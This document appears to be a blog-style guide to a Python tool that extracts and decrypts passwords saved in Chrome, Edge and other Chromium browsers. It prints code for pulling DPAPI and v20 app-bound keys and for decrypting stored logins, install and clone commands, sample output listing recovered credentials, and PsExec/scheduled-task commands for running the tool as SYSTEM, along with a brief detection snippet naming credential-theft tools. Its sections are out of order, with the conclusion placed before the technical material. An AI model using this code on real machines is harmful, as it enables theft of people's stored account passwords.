Chrome Password Dumper: Guide to Browser Password Recovery
📖 Table of Contents
Introduction
Understanding Chrome Password Encryption
Technical Deep Dive
ChromePasswordDumper Tool
Usage Guide
Advanced Techniques
Security Implications
Defensive Measures
Conclusion
Introduction
In the world of cybersecurity and digital forensics, browser password recovery is a critical capability for both security professionals and malicious actors. The ChromePasswordDumper is an advanced Python tool designed to extract and decrypt saved passwords from Chromium-based browsers, including Google Chrome, Microsoft Edge, Brave, and Chromium.
This comprehensive guide explores the technical intricacies of Chrome's password encryption mechanisms and demonstrates how this powerful tool can recover credentials from various encryption schemes.
Understanding Chrome Password Encryption
Evolution of Chrome Password Protection
Chrome has evolved its password protection mechanisms over the years:
The ChromePasswordDumper represents a powerful tool in the cybersecurity landscape, demonstrating both the capabilities and limitations of modern password recovery techniques. While it effectively handles traditional encryption methods, the emergence of v20 app-bound encryption shows the ongoing evolution of browser security.
Key Takeaways
Browser Security is Evolving: v20 encryption represents significant progress
Context Matters: Success depends heavily on execution context
Defense in Depth: Multiple layers of protection are essential
Legitimate Uses: Valuable for forensics and password recovery
Responsible Usage
This tool should only be used for:
Legitimate password recovery
Authorized penetration testing
Digital forensics and incident response
Security research and education
Remember: With great power comes great responsibility. Always ensure you have proper authorization before using these techniques.
Chrome User Data/
├── Local State (encryption keys)
├── Default/
│ └── Login Data (SQLite database)
└── Profile [1-9]/
└── Login Data (SQLite database)
def get_encryption_key(self, browser_key: str) -> Optional[bytes]:
"""Extract the master encryption key from browser's Local State"""
try:
local_state_path = self.browsers[browser_key]['local_state']
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
# Remove DPAPI prefix
if encrypted_key.startswith(b'DPAPI'):
encrypted_key = encrypted_key[5:]
# Decrypt using DPAPI
self.master_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
return self.master_key
except Exception as e:
logger.error(f"❌ Failed to get encryption key: {str(e)}")
return None
def decrypt_password_ultimate(self, encrypted_data: bytes) -> Optional[str]:
"""Main decryption function trying all methods"""
analysis = self.analyze_encrypted_data(encrypted_data)
methods = [
("Empty password check", lambda: self.try_empty_password(encrypted_data)),
("AES-GCM with master key", lambda: self.decrypt_aes_gcm(encrypted_data, self.master_key)),
("Key variations", lambda: self.try_key_variations(encrypted_data, self.master_key)),
("DPAPI", lambda: self.decrypt_dpapi(encrypted_data)),
("v20 handling", lambda: self.handle_v20_encryption(encrypted_data)),
("Brute force common keys", lambda: self.brute_force_common_keys(encrypted_data)),
]
for method_name, method_func in methods:
result = method_func()
if result is not None:
return result
return None
def handle_v20_encryption(self, encrypted_data: bytes) -> Optional[str]:
"""Handle v20 app-bound encryption (requires special handling)"""
if not encrypted_data.startswith(b'v20'):
return None
# v20 encryption is more complex and may require:
# - Different key derivation
# - Additional system context
# - Different decryption approach
logger.warning(f"⚠️ v20 encryption detected - this requires advanced decryption methods")
# Implementation for v20 decryption attempts
return self.decrypt_v20_with_key_derivation(encrypted_data)
# Clone the repository
git clone https://github.com/CyberSecurityUP/ChromePasswordDumper.git
cd ChromePasswordDumper
# Install dependencies
pip install pycryptodome pywin32 psutil cryptography
# Initialize the dumper
dumper = UltimateChromePasswordDumper(verbose=True)
# Scan Chrome browser
dumper.scan_browser('chrome')
# Display results
dumper.display_results()
# Save to CSV
dumper.save_to_csv()
python chromedump_advanced.py
╔══════════════════════════════════════════════════════════════════════╗
║ ADVANCED CHROME PASSWORD DUMPER ║
║ With v20 App-Bound Encryption Support ║
╚══════════════════════════════════════════════════════════════════════╝
Enable verbose debugging? (y/N): y
🌐 SELECT BROWSER:
1. Google Chrome
2. Microsoft Edge
3. Both Browsers
🎯 Enter choice (1-3): 1
📊 ADVANCED EXTRACTION REPORT
====================================================================================================
✅ Successfully decrypted: 305 passwords
❌ Failed to decrypt: 36 passwords
🔐 v20 encrypted (special handling): 36 passwords
📈 Overall success rate: 89.4%
🎯 DECRYPTED PASSWORDS (showing first 20):
URL USERNAME PASSWORD
----------------------------------------------------------------------------------------------------
https://accounts.google.com/ [email protected] mySecurePassword123
https://github.com/ developer123 gh_token_abc123
https://bank.example.com/ john_doe BankingPass!2024
⚠️ V20 ENCRYPTION CHALLENGE:
• 36 passwords use v20 app-bound encryption
• These require advanced decryption methods
• Current limitations:
- May require running as SYSTEM user
- May need specific user context
- Enterprise-managed Chrome instances
def get_v20_encryption_key(self, browser_key: str) -> Optional[bytes]:
"""Extract v20 app-bound encryption key"""
try:
local_state_path = self.browsers[browser_key]['local_state']
with open(local_state_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
if ('os_crypt' in local_state and
'app_bound_encrypted_key' in local_state['os_crypt']):
app_bound_key = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
if app_bound_key.startswith(b'APPB'):
encrypted_key_data = app_bound_key[4:]
# Try to decrypt with DPAPI
self.v20_key = win32crypt.CryptUnprotectData(encrypted_key_data, None, None, None, 0)[1]
return self.v20_key
return None
except Exception as e:
self.debug_log(f"v20 key extraction failed: {e}")
return None
# Run as SYSTEM using PsExec
PsExec.exe -s -i python chromedump_advanced.py
# Or use scheduled tasks for SYSTEM context
schtasks /create /tn "ChromeDump" /tr "python C:\path\to\chromedump_advanced.py" /sc once /st 00:00 /ru SYSTEM
# Example of detecting password dumping attempts
def monitor_suspicious_activity():
suspicious_processes = [
"chromedump.py", "mimikatz.exe", "lazagne.exe"
]
for proc in psutil.process_iter(['name', 'cmdline']):
if any(suspicious in ' '.join(proc.info['cmdline'] or [])
for suspicious in suspicious_processes):
alert_security_team(proc)